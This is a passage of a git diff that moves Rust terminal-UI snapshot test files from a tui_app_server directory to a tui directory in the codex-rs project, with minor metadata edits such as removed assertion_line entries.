codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap similarity index 88% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap index c700850266..60a64064bf 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 1207 expression: terminal.backend() --- " Robie [explorer] 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap index b6d87789ad..1bb213bbec 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 535 expression: terminal.backend() --- " / for commands ! for shell commands " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap similarity index 88% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap index 3c05f9b606..c09d61510a 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 1210 expression: terminal.backend() --- " Status line content · Robie [explorer] " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap index 6aaf439a9f..1ef9490f8a 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1054 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap index 6875fb5433..30bdc4bce1 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1046 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap index 4672ab7f27..7be4a15595 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 1062 expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)" --- before scroll: diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap similarity index 95% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap index 800fcf75c4..8eb41f417f 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/list_selection_view.rs -assertion_line: 828 expression: "render_lines_with_width(&view, 40)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap similarity index 92% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap index d70db56644..f3ad37e731 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs +source: tui/src/bottom_pane/pending_input_preview.rs expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap similarity index 97% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap index 16da87fb91..77d57c3f48 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap +++ 